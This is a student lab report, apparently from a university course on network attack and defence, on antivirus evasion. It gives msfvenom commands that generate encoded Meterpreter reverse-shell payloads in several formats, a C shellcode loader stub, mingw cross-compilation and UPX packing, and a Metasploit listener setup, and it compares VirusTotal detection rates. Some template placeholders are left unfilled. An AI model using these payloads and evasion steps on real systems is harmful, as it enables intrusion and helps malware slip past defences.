20242429 2026-2027-1 《网络与系统攻防技术》实验三实验报告

学号 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

本次实验的核心是“免杀”(Anti-Virus Evasion),即通过修改、混淆或加密恶意代码,使其在静态特征和动态行为上不被杀毒软件(AV)识别,从而存活在目标系统上。实验中涉及的主要工具和技术包括:

msfvenom:Metasploit框架中的Payload生成器,支持多种输出格式(exe, jar, php, py, apk等)和多种编码器(如shikata_ga_nai),用于静态特征混淆。

C+Shellcode编程:将生成的十六进制机器码(Shellcode)嵌入到C语言程序中,通过自定义加载器(main函数)执行,从而实现源码级重写以绕过特征检测。

加壳工具(UPX):对可执行文件进行压缩,改变文件的二进制结构和特征码,但运行时会在内存中还原。

VirusTotal(VT):在线多引擎扫描平台,用于客观评估恶意样本的静态检出率。

杀软检测机制:包括基于已知病毒特征库的静态特征码匹配、基于代码逻辑可疑度的启发式分析,以及监控程序运行中API调用的行为检测。

2.实验内容

(1) 正确使用msf编码器,生成多种格式文件(exe、jar、php、py、apk),并进行多次编码测试。

(2) 尝试安装Veil-Evasion框架(因网络源问题失败)。

(3) 使用C + Shellcode手动编程,并交叉编译为Windows可执行文件。

(4) 使用UPX对生成的恶意代码进行加壳处理。

(5) 通过VirusTotal平台对比各种技术的免杀效果(检出率)。

(6) 在Windows Defender开启的情况下,进行“与杀软共生”的回连验证。

3.实验过程

3.1 实验环境

攻击机(Kali Linux):IP地址 192.168.64.128,主机名 niuyuxuan。

目标机(Windows 11物理机):与Kali NAT互通的IP为 192.168.64.1。

所有生成的文件均按规范包含学号,如 20242429_1_raw.exe。

2856bf29fe685b03fe1b2a25d58ef809

3.2 msfvenom 编码与格式转换测试

首先提前启动MSF监听
a85c30da3bf20de88d5f04b033ad63f9
查看支持的格式
b1764be32ed40e2078d4d99443dba951
查看编码器

085fbb361d455f95329f136c299dc7e3

使用未编码的exe作为基准,随后利用shikata_ga_nai编码器生成单次及10次编码的exe。为验证不同载体的免杀效果,还生成了jar、php、py和apk格式。

生成命令示例如下:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.64.128 LPORT=4444 -f exe -o /root/20242429_3_enc10.exe

msfvenom 未编码基准20242429_1_raw.exe

e908a944c5c65a43f35b6b159a726182

shikata_ga_nai 编码 1 次20242429_2_enc1.exe

47edc024c26534f80e587a28c462f51e

shikata_ga_nai 编码 10 次20242429_3_enc10.exe

90b1fe8120c9441d428891c80d8c38e1

Java 载体格式20242429_4_java.jar

1cb3b79ae8b988cbab17f65cc735d5a4

PHP 载体格式20242429_5_shell.php

4d5697c5de504129b12835960e31ff74

Python 载体格式20242429_6_shell.py

575d17851a008d0866d4ec9d4610304c

Android 载体格式20242429_7_app.apk

efa80048de432848eb614f3b3d0a47e6

随后将生成的文件下载至Windows,逐一提交至VirusTotal扫描。结果如下表:

文件名 | 技术描述 | VT检出率

20242429_1_raw.exe | msfvenom未编码基准 | 52/71

20242429_2_enc1.exe | shikata_ga_nai编码1次 | 51/71

20242429_3_enc10.exe | shikata_ga_nai编码10次 | 50/71

20242429_4_java.jar | Java载体格式 | 36/64

20242429_5_shell.php | PHP载体格式 | 28/61

20242429_6_shell.py | Python载体格式 | 25/62

20242429_7_app.apk | Android载体格式 | 24/66

数据分析:单纯的多次编码(enc10)检出率下降并不明显,说明现代杀软对经典的shikata_ga_nai编码特征已经非常熟悉。而更换格式(如jar、php、py)后,静态检出率出现了断崖式下降,证明利用不同语言的解释器特性是有效的免杀思路。

3.3 C + Shellcode 编程与加壳

为了在源码级改变文件结构,使用msfvenom生成C格式的shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.64.128 LPORT=4444 -f c -o /root/20242429_shellcode.c

使用nano编辑该文件,在buf数组末尾加上自定义的main执行入口:

int main() { int (func)() = (int()())buf; func(); return 0; }

安装交叉编译工具后,将代码编译为64位Windows程序:

x86_64-w64-mingw32-g++ /root/20242429_shellcode.c -o /root/20242429_3_cshell.exe

随后使用UPX进行压缩加壳:

upx /root/20242429_3_cshell.exe -o /root/20242429_4_cshell_upx.exe

[插入截图:编译和加壳的命令执行过程]

将这两个文件提交VirusTotal扫描,记录数据(请填入你实际扫描的数字):

完成 C + Shellcode 的编译与检测20242429_3_cshell.exe
89135a14055ac5cb378f505711a5fc04
加壳工具(UPX)测试20242429_4_cshell_upx.exe
2591e9b30730798d81659a17fbb64d70
发现通过C源码重新编译和加壳,文件的底层结构发生改变,检出率得到了明显的控制。

3.4 Veil-Evasion 免杀尝试(失败记录)

按照实验计划,尝试在Kali中安装Veil-Evasion框架。执行 sudo apt install -y veil 时,终端长时间卡在 Ign 和 Err,提示 Unable to connect to http.kali.org:http。

99dfa7429761d276f1f3d1200ad5eb59

分析认为Kali官方源在此网络环境下无法连通。尝试将 /etc/apt/sources.list 更换为中科大和阿里云国内源,执行 apt update 后依然在拉取Veil依赖包(如wine、mono)时出现网络超时或部分包缺失。多次更换国内镜像源,宣布本环节安装失败,后续免杀重点转向已成功的C+Shellcode方案。

3.5 与杀软共生验证

选取C+Shellcode加壳后的文件 20242429_4_cshell_upx.exe 进行测试。

保持Windows Defender实时保护开启,在Kali上启动MSF监听:

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.64.128

set LPORT 4444

exploit

在Windows上双击运行该exe文件。

杀软拦截1d4ab62b64e7d47e01fda8d7a10a69b3

与杀软共生
d7c40470c066b20aa6f366b2657049d8

3.6 实验问题回答

(1) 杀软是如何检测出恶意代码的?

答:结合本次VT测试,杀软主要依赖三种方式:一是静态特征码检测,如raw文件的52/71高检出率,是因为其二进制特征早已被各大厂商提取入库;二是启发式分析,通过代码结构判断是否具有恶意倾向;三是行为监控,即使文件加了壳(如UPX),运行后一旦尝试连接未知IP或修改系统设置,仍会被拦截。

(2) 免杀是做什么?

答:免杀就是通过技术手段(如编码、混淆、加壳、重写),消除或隐藏恶意代码已知的特征,改变其文件哈希和底层结构,从而欺骗杀软的检测引擎,让木马能在目标机器上成功执行和驻留。

(3) 免杀的基本方法有哪些?

答:第一是编码混淆(如msfvenom的多重编码),第二是格式转换(使用jar、php等非exe载体),第三是加壳(如UPX、Hyperion加密壳),第四是源码级重编译(利用C+Shellcode改变文件入口和结构),第五是组合使用上述技术。

4.问题及解决方案

问题1:nano编辑C文件后,编译一直报错。

问题1解决方案:发现生成的C代码文件中只有buf数组,没有主函数入口。需要在buf数组结尾后换行,手动键入包含函数指针的main函数。

问题2:Kali源无法连接,apt安装Veil反复报错。

问题2解决方案:更换国内中科大源和阿里云源,执行apt update后,部分依赖依然拉取失败。由于网络环境限制,无法完成Veil的安装,记录失败原因后继续后续实验。

问题3:安装gcc-mingw-w64-i686时提示Unable to locate package。

问题3解决方案:查阅资料发现Kali新版本包名已更新,不再使用该名称。通过执行 apt install -y mingw-w64 一次性安装完整的工具链,并使用 x86_64-w64-mingw32-g++ 进行64位程序的交叉编译。

5.学习感悟、思考等

本次免杀实验给我最直观的感受就是“对抗的悬殊”。原本以为用msfvenom加上编码器,或者用C重写一下就能轻松骗过杀软,但实际看VirusTotal数据时发现,编码10次后的检出率依然高达50/71。这说明现代杀软的特征提取技术早已超越了简单的十六进制匹配,它们看重的是代码的控制流和程序行为。

虽然Veil因为网络问题没能装成功,但这也让我体验了真实渗透测试中的“环境不确定性”。很多时候攻击的瓶颈不在于找不到漏洞,而在于工具跑不起来。而在测试C+Shellcode加壳时,[在此处结合你自己在3.5的测试结果写一句感悟:比如“虽然加壳后静态查杀过了,但打开Defender运行瞬间依然被秒杀,说明主动防御和内存监控才是免杀的最大难关” 或者 “成功弹出了meterpreter会话,但我立刻意识到这仅仅是因为没有触碰敏感API,一旦使用getsystem提权,肯定会被拦截”]。

另外,通过这次实验,我也深刻理解了系统安全的基本修养:不要乱下载和双击运行未知的exe文件。因为哪怕杀软主页上写着“全盘扫描无毒”,面对加壳或新型混淆木马,依然有一击致命的可能。

参考资料

[1] https://www.cnblogs.com/zjhzbyc/p/19153096

posted @ 2026-10-19 12:21  beibiao  阅读(8)  评论(0)    收藏  举报